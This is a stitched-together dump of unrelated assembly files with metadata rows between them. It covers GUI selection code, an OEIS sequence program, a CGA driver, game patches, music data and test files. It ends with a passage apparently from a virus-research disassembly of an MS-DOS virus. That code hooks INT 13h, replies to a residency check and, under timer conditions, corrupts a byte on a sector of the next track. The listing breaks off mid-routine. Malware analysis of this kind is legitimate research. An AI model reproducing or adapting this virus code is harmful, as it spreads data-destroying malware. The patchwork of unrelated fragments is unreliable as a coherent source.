StopAntTimer proc near uses ax, bx, di
class InkClass
.enter
EC < call ECCheckIfInkObject >
mov di, ds:[si]
add di, ds:[di].Ink_offset
clr bx
xchg bx, ds:[di].II_antTimer ;If no ant timer, just exit
tst bx
jz exit
mov ax, ds:[di].II_antTimerID
call TimerStop
exit:
.leave
ret
StopAntTimer endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
StartAntTimerIfNotAlreadyStarted
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Creates a new timer for updating the marching ants selection,
if one does not already exist.
CALLED BY: GLOBAL
PASS: *ds:si - ink object
RETURN: nada
DESTROYED: ax, bx, cx, dx, di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/14/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
StartAntTimerIfNotAlreadyStarted proc near
class InkClass
.enter
EC < call ECCheckIfInkObject >
mov di, ds:[si] ;If there is already a timer
add di, ds:[di].Ink_offset ; running (from a previous
tst ds:[di].II_antTimer ; selection, for example,
jnz exit ; don't create a new one)
call StartAntTimer
exit:
.leave
ret
StartAntTimerIfNotAlreadyStarted endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
StartAntTimer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Starts the ant one-shot timer up
CALLED BY: GLOBAL
PASS: *ds:si - Ink object
RETURN: nada
DESTROYED: ax, bx, cx, dx, di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 4/12/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
StartAntTimer proc near
class InkClass
EC < call ECCheckIfInkObject >
mov ax, TIMER_EVENT_ONE_SHOT
mov cx, TICKS_BETWEEN_ANT_UPDATES
mov dx, MSG_INK_ADVANCE_SELECTION_ANTS
mov bx, ds:[LMBH_handle]
call TimerStart
mov di, ds:[si]
add di, ds:[di].Ink_offset
mov ds:[di].II_antTimer, bx
mov ds:[di].II_antTimerID, ax
ret
StartAntTimer endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ConvertPointToObjectCoordinates
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Converts a point to be relative to the upper edge of the
object, instead of the window
CALLED BY: GLOBAL
PASS: cx, dx - point
*ds:si - Ink object
RETURN: nada
DESTROYED: nada
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 11/ 1/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ConvertPointToObjectCoordinates proc near
class VisClass
.enter
EC < call ECCheckIfInkObject >
mov di, ds:[si]
add di, ds:[di].Vis_offset
sub cx, ds:[di].VI_bounds.R_left
sub dx, ds:[di].VI_bounds.R_top
.leave
ret
ConvertPointToObjectCoordinates endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InkStartSelect
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: This method handler is called when the user presses the
mouse over our object.
CALLED BY: GLOBAL
PASS: cx, dx - position of start select
RETURN: nada
DESTROYED: ax, cx, dx, bp
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/ 3/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InkStartSelect method dynamic InkClass, MSG_META_START_SELECT
.enter
call ConvertPointToObjectCoordinates
call GrabTarget
mov di, ds:[si]
add di, ds:[di].Ink_offset
mov ax, mask MRF_PROCESSED or mask MRF_CLEAR_POINTER_IMAGE
cmp ds:[di].II_tool, IT_SELECTOR
jne exit
tst ds:[di].II_cachedGState
jnz noCreate
; Create a cached GState to draw through
call GetGState
mov bp, di
mov di, ds:[si]
add di, ds:[di].Ink_offset
mov ds:[di].II_cachedGState, bp
mov di, bp ;DI <- gstate to draw through
push dx
clrdw dxax
call GrSetLineWidth
pop dx
mov al, MM_INVERT
call GrSetMixMode
noCreate:
; If there is a selection already, erase it.
clr di
call RedrawSelection
mov bx, ds:[si]
add bx, ds:[bx].Ink_offset
ornf ds:[bx].II_flags, mask IF_SELECTING
mov ds:[bx].II_selectBounds.R_left, cx
mov ds:[bx].II_selectBounds.R_right, cx
mov ds:[bx].II_selectBounds.R_top, dx
mov ds:[bx].II_selectBounds.R_bottom, dx
; Take the gadget exclusive and the mouse grab. We will give up the
; mouse grab when we lose the gadget exclusive.
call GrabMouse
; Draw the new selection
call RedrawSelection
; Start a timer to do the marching ants update
call StartAntTimerIfNotAlreadyStarted
mov ax, mask MRF_PROCESSED or mask MRF_SET_POINTER_IMAGE
mov cx, handle SelectCursor
mov dx, offset SelectCursor
exit:
.leave
ret
InkStartSelect endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EnsureSelectionInBounds
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: If the passed point is not in bounds, massages it until it is
CALLED BY: GLOBAL
PASS: cx, dx - point in window coordinates
*ds:si - vis object
RETURN: cx, dx - massaged point
DESTROYED: bx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/ 8/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EnsureSelectionInBounds proc near
class InkClass
.enter
mov bx, ds:[si]
add bx, ds:[bx].Vis_offset
cmp cx, ds:[bx].VI_bounds.R_left
jge 10$
mov cx, ds:[bx].VI_bounds.R_left
10$:
cmp cx, ds:[bx].VI_bounds.R_right
jle 20$
mov cx, ds:[bx].VI_bounds.R_right
20$:
cmp dx, ds:[bx].VI_bounds.R_top
jge 30$
mov dx, ds:[bx].VI_bounds.R_top
30$:
cmp dx, ds:[bx].VI_bounds.R_bottom
jle 40$
mov dx, ds:[bx].VI_bounds.R_bottom
40$:
.leave
ret
EnsureSelectionInBounds endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
UpdateSelection
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: If the current selection is different from the old selection,
we redraw/update it.
CALLED BY: GLOBAL
PASS: cx, dx - coord
*ds:si - object
RETURN: nothing
DESTROYED: bx, cx, dx, di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/ 8/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UpdateSelection proc near
class InkClass
.enter
call EnsureSelectionInBounds
call ConvertPointToObjectCoordinates
; If the new coord is the same as the old coord, don't redraw anything
mov bx, ds:[si]
add bx, ds:[bx].Ink_offset
cmp ds:[bx].II_selectBounds.R_right, cx
jne doUpdate
cmp ds:[bx].II_selectBounds.R_bottom, dx
je exit
doUpdate:
clr di
call RedrawSelection ;Erase the old selection
mov bx, ds:[si]
add bx, ds:[bx].Ink_offset
mov ds:[bx].II_selectBounds.R_right, cx
mov ds:[bx].II_selectBounds.R_bottom, dx
call RedrawSelection
exit:
.leave
ret
UpdateSelection endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InkPtr
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: This is called when the user moves the mouse over the ink
object. If we are selecting, we update the selection.
CALLED BY: GLOBAL
PASS: cx, dx - position
RETURN: nada
DESTROYED: nada
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/ 3/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InkPtr method dynamic InkClass, MSG_META_PTR
.enter
test ds:[di].II_flags, mask IF_SELECTING
jne handleSelection
mov ax, mask MRF_PROCESSED or mask MRF_CLEAR_POINTER_IMAGE
cmp ds:[di].II_tool, IT_SELECTOR
jne exit
; If the ptr event was outside of our bounds, release the mouse and clear
; out the pointer image. Otherwise, grab the mouse and set the pointer
; image.
test bp, mask UIFA_IN shl 8
jnz doGrab
call ReleaseMouse
jmp exit
doGrab:
call GrabMouse
setCursor:
mov ax, mask MRF_PROCESSED or mask MRF_SET_POINTER_IMAGE
mov cx, handle SelectCursor
mov dx, offset SelectCursor
exit:
.leave
ret
handleSelection:
; If we are currently selecting, redraw the selection and update our
; internal stuff.
call UpdateSelection
jmp setCursor
InkPtr endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InkEndSelect
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: This method handler completes the selection.
CALLED BY: GLOBAL
PASS: *ds:si - object
cx, dx - coord of end select
RETURN: nada
DESTROYED: nada
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/ 8/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InkEndSelect method InkClass, MSG_META_END_SELECT
.enter
test ds:[di].II_flags, mask IF_SELECTING
je notSelecting
call UpdateSelection
mov di, ds:[si]
add di, ds:[di].Ink_offset
andnf ds:[di].II_flags, not mask IF_SELECTING
; Sort the bounds
mov ax, ds:[di].II_selectBounds.R_left
cmp ax, ds:[di].II_selectBounds.R_right
jb 10$
xchg ax, ds:[di].II_selectBounds.R_right
mov ds:[di].II_selectBounds.R_left, ax
10$:
mov ax, ds:[di].II_selectBounds.R_top
cmp ax, ds:[di].II_selectBounds.R_bottom
jb update
xchg ax, ds:[di].II_selectBounds.R_bottom
mov ds:[di].II_selectBounds.R_top, ax
update:
call UpdateEditControlStatus
notSelecting:
; Now, we need to do resolve things with the mouse:
;
; We need to release the mouse and clear the ptr image if:
;
; 1) The current tool is not the selector
; 2) The release was outside the bounds of the object
;
test bp, mask UIFA_IN shl 8 ;If the release was outside the bounds
jz releaseMouse ; of the mouse, branch
mov ax, mask MRF_PROCESSED
mov di, ds:[si]
add di, ds:[di].Ink_offset
cmp ds:[di].II_tool, IT_SELECTOR
jz exit
releaseMouse:
call ReleaseMouse
mov ax, mask MRF_PROCESSED or mask MRF_CLEAR_POINTER_IMAGE
exit:
.leave
ret
InkEndSelect endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InkAdvanceSelectionAnts
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Advances the selected area (moves the "ants" forward a notch).
CALLED BY: GLOBAL
PASS: *ds:si, ds:di - ink object
RETURN: nada
DESTROYED: nada
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/14/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InkAdvanceSelectionAnts method dynamic InkClass,
MSG_INK_ADVANCE_SELECTION_ANTS
.enter
tst ds:[di].II_antTimer ;If the timer has been stopped,
jz exit ; just get out.
cmp bp, ds:[di].II_antTimerID
jnz exit
test ds:[di].VI_attrs, mask VA_DRAWABLE
jz exit
; Get the selection - if there is a selection, create a draw mask that
; will cause the "ants" to advance, and draw it
clr ds:[di].II_antTimer
call GetAndCheckForSelection ;Exit if no selection
jnc exit
; Convert the bounds of the selection to window coords.
call ConvertBoundsToWindowCoords
dec cx ;Move the right and bottom bounds in one
dec dx ; pixel, to stay in the bounds of the object
cmp ax, cx
jg noDraw
push ax
mov al, ds:[di].II_antMask
dec ds:[di].II_antMask
jns draw
mov ds:[di].II_antMask, NUM_ANT_MASKS-1
draw:
clr ah
mov bp, ax ;BP <- ant mask index
mov di, ds:[di].II_cachedGState
pop ax
; Set the mask approriate for the top/right lines, draw them, set the
; mask for the bottom/left lines, and draw them too.
clc
call SetMaskForAntUpdate
call DrawTopRightLine
stc
call SetMaskForAntUpdate
call DrawBotLeftLine
noDraw:
;
; Start the ant timer again
;
call StartAntTimer
exit:
.leave
ret
InkAdvanceSelectionAnts endp
InkCommon ends
| 22.720094
| 79
| 0.562132
|
fab2bba41a055bc4d26841cc81e044e902fdf123
| 730
|
asm
|
Assembly
|
programs/oeis/090/A090670.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/090/A090670.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/090/A090670.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A090670: Odd numbers k such that 2*k-3 is a prime of the form 4*j+3.
; 3,5,7,11,13,17,23,25,31,35,37,41,43,53,55,65,67,71,77,83,85,91,97,101,107,113,115,121,127,133,137,143,155,157,167,175,181,185,191,193,211,217,221,223,233,235,241,245,247,251,253,263,275,283,287,295,301,305,311,317,323,325,331,343,347,361,365,371,373,377,395,407,413,415,421,431,433,443,445,455,457,461,475,485,487,493,497,511,517,521,527,533,545,547,553,563,577,583,587,595
mov $1,2
mov $2,$0
pow $2,2
add $2,1
lpb $2
sub $2,1
mov $3,$1
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,4
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
div $1,4
mul $1,4
sub $1,4
div $1,4
mul $1,2
add $1,3
mov $0,$1
| 28.076923
| 375
| 0.657534
|
73b88a3075df27243565ef286692bdbc5fc5e76f
| 1,196
|
asm
|
Assembly
|
stuff/R316/old/lib/gfx/cga.asm
|
Daswf852/Stuff
|
36f32ce7da1c7a829cb064d9c91c61272ac6bd2e
|
[
"WTFPL"
] | null | null | null |
stuff/R316/old/lib/gfx/cga.asm
|
Daswf852/Stuff
|
36f32ce7da1c7a829cb064d9c91c61272ac6bd2e
|
[
"WTFPL"
] | null | null | null |
stuff/R316/old/lib/gfx/cga.asm
|
Daswf852/Stuff
|
36f32ce7da1c7a829cb064d9c91c61272ac6bd2e
|
[
"WTFPL"
] | null | null | null |
%ifndef __CGA_ASM
%define __CGA_ASM
%include "../common.asm"
%include "../datastack.asm"
%include "screen.asm"
cga:
.init:
push r0
call screen.init
mov r0, cga.cursorPos
mov [r0], _terminalBufferStart
pop r0
ret
.cursorPos:
dw 0
.putchar: ;( char -- )
push r0
mov r0, [cga.cursorPos]
mov [r0++], [r6++]
mov [cga.cursorPos], r0
pop r0
ret
.puts: ;( CString -- )
call cga.puts_int_basic
ret
.puts_int_basic: ;( CString -- )
push r0
push r1
mov r1, [cga.cursorPos]
..loop:
mov [r1++], [r6]
cmp [r6++], 0
jnz cga.puts_int_basic.loop
mov r0, cga.cursorPos
mov [r0], r1
pop r1
pop r0
ret
.linefeed: ;( -- )
push r0
mov r0, .cursorPos
add [r0], 0x10
pop r0
ret
.carriageReturn: ;( -- )
push r0
mov r0, .cursorPos
and [r0], 0xFFF0
pop r0
ret
.newline: ;( -- )
call .carriageReturn
call .linefeed
ret
%endif
| 16.383562
| 39
| 0.453177
|
6b7b0fe6ea18841557483df1d91674cb789155f9
| 77
|
asm
|
Assembly
|
tests/test build script and options/opt stdin/srcStdIn.i.asm
|
cizo2000/sjasmplus
|
615d7c0e09a44aa2a923095fc9ed6dca6ecae4a4
|
[
"BSD-3-Clause"
] | 220
|
2016-10-22T19:44:39.000Z
|
2022-03-29T20:57:04.000Z
|
tests/test build script and options/opt stdin/srcStdIn.i.asm
|
ped7g/sjasmplus
|
487635c8057cd5594c372d9b70bc00a3f3a1ecc4
|
[
"BSD-3-Clause"
] | 153
|
2018-05-07T10:31:23.000Z
|
2022-03-30T04:35:59.000Z
|
tests/test build script and options/opt stdin/srcStdIn.i.asm
|
ped7g/sjasmplus
|
487635c8057cd5594c372d9b70bc00a3f3a1ecc4
|
[
"BSD-3-Clause"
] | 51
|
2016-05-12T21:27:36.000Z
|
2022-03-27T15:16:16.000Z
|
DZ 'data to include from real file'
DB '#' ;; 32 bytes in total
| 25.666667
| 39
| 0.558442
|
04c5c9b6bb155c9c08148785846d9a8dafabf922
| 1,179
|
asm
|
Assembly
|
patches/bank3e.asm/link.asm
|
spicefather/LADXR
|
4262b5e13d9caadfb713ed7a7a9a3af9b9f0a505
|
[
"MIT"
] | null | null | null |
patches/bank3e.asm/link.asm
|
spicefather/LADXR
|
4262b5e13d9caadfb713ed7a7a9a3af9b9f0a505
|
[
"MIT"
] | null | null | null |
patches/bank3e.asm/link.asm
|
spicefather/LADXR
|
4262b5e13d9caadfb713ed7a7a9a3af9b9f0a505
|
[
"MIT"
] | null | null | null |
InitLink:
; Switch on the link port in receive mode with interrupts enabled.
ld a, $0F
ldh [$01], a
ld a, $82
ldh [$02], a
ld a, $01 ; switch to RunLink
ld [$CEFF], a
ret
RunLink:
; Load the command byte, and only continue if there is a command.
ld a, [$CEFE]
and a
ret z
; Reset our command byte to zero, and set HL to point at the data byte
ld hl, $CEFE
ld b, $00
ld [hl], b
and $0F
rst 0
dw LinkTestMessage
dw LinkItem
LinkTestMessage:
ld a, $41
call $3273 ; open dialog in table 1
ret
LinkItem:
ld a, [$CEFD] ; get data byte
ldh [$F1], a
call GiveItemFromChestNoLink
call ItemMessageNoLink
ret
LinkSendByte:
ld e, a
.repeat:
ld a, e
ldh [$01], a
ld a, $83
ldh [$02], a
.sendWait:
ldh a, [$02]
and $80
jr nz, .sendWait
ldh a, [$01]
cp $0F ; Check if our byte is acknowledged.
jr nz, .repeat
; Back to receive mode
ld a, $0F
ldh [$01], a
ld a, $82
ldh [$02], a
ret
| 18.421875
| 75
| 0.498728
|
438c2f184dffc9ad9eb20d529f88fe0a538b30c9
| 2,007
|
asm
|
Assembly
|
audio/music/cinnabarmansion.asm
|
adhi-thirumala/EvoYellow
|
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
|
[
"Unlicense"
] | 16
|
2018-08-28T21:47:01.000Z
|
2022-02-20T20:29:59.000Z
|
audio/music/cinnabarmansion.asm
|
adhi-thirumala/EvoYellow
|
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
|
[
"Unlicense"
] | 5
|
2019-04-03T19:53:11.000Z
|
2022-03-11T22:49:34.000Z
|
audio/music/cinnabarmansion.asm
|
adhi-thirumala/EvoYellow
|
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
|
[
"Unlicense"
] | 2
|
2019-12-09T19:46:02.000Z
|
2020-12-05T21:36:30.000Z
|
Music_CinnabarMansion_Ch1::
tempo 144
volume 7, 7
vibrato 11, 2, 5
duty 2
Music_CinnabarMansion_branch_7ed19::
notetype 12, 6, 2
octave 5
E_ 1
E_ 1
octave 4
B_ 1
B_ 1
C_ 1
rest 2
octave 5
B_ 2
E_ 2
octave 4
C_ 2
B_ 2
E_ 2
C_ 1
octave 5
B_ 1
rest 2
loopchannel 14, Music_CinnabarMansion_branch_7ed19
notetype 12, 10, 5
rest 16
rest 16
rest 15
octave 4
C_ 1
octave 5
B_ 1
B_ 2
loopchannel 0, Music_CinnabarMansion_branch_7ed19
Music_CinnabarMansion_Ch2::
duty 2
toggleperfectpitch
vibrato 10, 2, 4
notetype 12, 12, 2
Music_CinnabarMansion_branch_7ed48::
rest 16
rest 16
loopchannel 4, Music_CinnabarMansion_branch_7ed48
Music_CinnabarMansion_branch_7ed4e::
notetype 12, 12, 2
Music_CinnabarMansion_branch_7ed50::
callchannel Music_CinnabarMansion_branch_7ed6c
loopchannel 3, Music_CinnabarMansion_branch_7ed50
octave 3
E_ 4
D# 4
B_ 4
A# 4
G_ 4
G# 4
rest 4
A# 4
E_ 4
D# 4
B_ 4
A# 4
G_ 4
G# 4
G_ 4
D# 4
loopchannel 0, Music_CinnabarMansion_branch_7ed4e
Music_CinnabarMansion_branch_7ed6c::
octave 3
E_ 4
D# 4
B_ 4
A# 4
G_ 4
G# 4
A_ 4
A# 4
E_ 4
D# 4
B_ 4
A# 4
G_ 4
G# 4
rest 4
A# 4
endchannel
Music_CinnabarMansion_Ch3::
notetype 12, 1, 1
Music_CinnabarMansion_branch_7ed80::
octave 2
B_ 2
rest 2
octave 3
E_ 2
rest 2
E_ 2
rest 2
E_ 2
rest 2
E_ 2
rest 2
E_ 2
rest 2
E_ 2
rest 2
E_ 2
rest 2
C_ 2
rest 2
octave 3
D# 2
rest 2
D# 2
rest 2
D# 2
rest 2
D# 2
rest 2
D# 2
rest 2
D# 2
rest 2
D# 2
rest 2
loopchannel 8, Music_CinnabarMansion_branch_7ed80
E_ 16
D# 16
G_ 16
G# 8
D# 8
loopchannel 0, Music_CinnabarMansion_branch_7ed80
Music_CinnabarMansion_Ch4::
dspeed 6
rest 16
rest 16
rest 16
rest 16
Music_CinnabarMansion_branch_7edb5::
cymbal1 2
cymbal1 2
cymbal2 4
cymbal1 2
cymbal1 2
cymbal2 4
cymbal1 2
cymbal1 2
cymbal2 4
cymbal1 2
cymbal1 2
cymbal3 4
cymbal1 2
cymbal1 2
rest 2
rest 10
rest 8
cymbal3 8
loopchannel 0, Music_CinnabarMansion_branch_7edb5
| 11.601156
| 51
| 0.720977
|
df47f8ff90924e29919461f0e1c3acd5e5e4240d
| 200
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/arch/sms/SMSlib/c/sccz80/SMS_resetPauseRequest.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/arch/sms/SMSlib/c/sccz80/SMS_resetPauseRequest.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/arch/sms/SMSlib/c/sccz80/SMS_resetPauseRequest.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; void SMS_resetPauseRequest(void)
SECTION code_clib
SECTION code_SMSlib
PUBLIC SMS_resetPauseRequest
EXTERN asm_SMSlib_resetPauseRequest
defc SMS_resetPauseRequest = asm_SMSlib_resetPauseRequest
| 18.181818
| 57
| 0.885
|
e19cddaba28d9c0abe5c513062f3bc73cc69ac9e
| 273
|
asm
|
Assembly
|
tests/emra/EM_MODE/asm/EM06_core1.asm
|
ilebedev/stacktool
|
0750fb632d6a06596056edb97825baa035cec418
|
[
"MIT"
] | 1
|
2021-02-17T17:44:59.000Z
|
2021-02-17T17:44:59.000Z
|
tests/emra/EM_MODE/asm/EM06_core1.asm
|
ilebedev/stacktool
|
0750fb632d6a06596056edb97825baa035cec418
|
[
"MIT"
] | null | null | null |
tests/emra/EM_MODE/asm/EM06_core1.asm
|
ilebedev/stacktool
|
0750fb632d6a06596056edb97825baa035cec418
|
[
"MIT"
] | null | null | null |
PUSH 0; #@entry
PUSH 1; #0x00000001
ST_EM 2 0;
PUSH 0;
PULL_CP 0; #@condition
PUSH 20;
COMP_UGT;
B_NZ 2; #branch to @body
DROP 0; #@return
HALT;
PUSH 1; #@body, 0x00000001
LD_EM 1 0;
PUSH 1;
ADD;
PUSH 1;
ST_EM 2 0; #0x00000001
PUSH 1; #@for.end
ADD;
J_REL -15;
| 13.65
| 28
| 0.648352
|
d1f946a7bd2df8f625b5aa7395806de44f7a1fe4
| 27,810
|
asm
|
Assembly
|
MSDOS/Virus.MSDOS.Unknown.v1385.asm
|
fengjixuchui/Family
|
2abe167082817d70ff2fd6567104ce4bcf0fe304
|
[
"MIT"
] | 3
|
2021-05-15T15:57:13.000Z
|
2022-03-16T09:11:05.000Z
|
MSDOS/Virus.MSDOS.Unknown.v1385.asm
|
fengjixuchui/Family
|
2abe167082817d70ff2fd6567104ce4bcf0fe304
|
[
"MIT"
] | null | null | null |
MSDOS/Virus.MSDOS.Unknown.v1385.asm
|
fengjixuchui/Family
|
2abe167082817d70ff2fd6567104ce4bcf0fe304
|
[
"MIT"
] | 3
|
2021-05-15T15:57:15.000Z
|
2022-01-08T20:51:04.000Z
|
;-------------------------------------------------
; Virus
;
; dissasembled by Andrzej Kadlof July 1991
;
; (C) Polish section of Virus Information Bank
;------------------------------------------------
0100 E97801 JMP 027B
; old INT 13h vector
0103 7A0F
0105 7000
;====================
; INT 13h handler
0107 9C PUSHF
0108 50 PUSH AX
0109 53 PUSH BX
010A 51 PUSH CX
010B 52 PUSH DX
010C 1E PUSH DS
010D 06 PUSH ES
010E 57 PUSH DI
010F 0E PUSH CS
0110 1F POP DS
0111 50 PUSH AX
0112 B000 MOV AL,00
0114 3D0002 CMP AX,0200 ; request: read sectors?
0117 58 POP AX ; restore oryginal function number
0118 7571 JNZ 018B ; no, exit
011A 80F900 CMP CL,00 ; first sector number (illegal)
011D 7518 JNZ 0137 ; not zero, not virus question
011F 81FF3412 CMP DI,1234 ; question from new copy of virus
0123 7512 JNZ 0137 ; no
; prepare answer for the question from next virsus copy
0125 5F POP DI
0126 BF2143 MOV DI,4321 ; answer: I'm here!
0129 58 POP AX
012A 58 POP AX
012B A19901 MOV AX,[0199] ; old INT 21h
012E 50 PUSH AX
012F A19B01 MOV AX,[019B]
0132 50 PUSH AX
0133 57 PUSH DI
0134 EB55 JMP 018B ; exit
0136 90 NOP
; check cylinder number, if not 4x + 2 or 4x + 3 then exit (x arbitrary)
0137 51 PUSH CX
0138 81E100FC AND CX,FC00
013C 80FD00 CMP CH,00
013F 59 POP CX
0140 7449 JZ 018B ; exit
; check time condition
0142 51 PUSH CX
0143 52 PUSH DX
0144 B80000 MOV AX,0000
0147 FB STI
0148 CD1A INT 1A ; read the clock
014A 81E2FF0F AND DX,0FFF ; low word of tick count since reset
014E 83FA00 CMP DX,+00 ; about 3.7 min
0151 5A POP DX
0152 59 POP CX
0153 7536 JNZ 018B ; exit
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;
; DESTRUCTION! change one byte on the sector on the next track
;
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
0155 9C PUSHF
0156 0E PUSH CS ; segment of return address
0157 B86601 MOV AX,0166 ; offset of return address
015A 50 PUSH AX
015B B80102 MOV AX,0201 ; read 1 sector
015E 80C501 ADD CH,01 ; next track
0161 2EFF2E0301 JMP DWORD PTR CS:[0103] ; CALL FAR INT 13h
0166 7223 JB 018B ; exit
; get random number between 0 and 1FFh (minimal buffer size)
0168 51 PUSH CX
0169 52 PUSH DX
016A B80000 MOV AX,0000
016D FB STI
016E CD1A INT 1A ; read the clock
0170 81E2FF01 AND DX,01FF ; low word of tick count since reset
; change one byte inside buffer
0174 53 PUSH BX ; offset of buffer
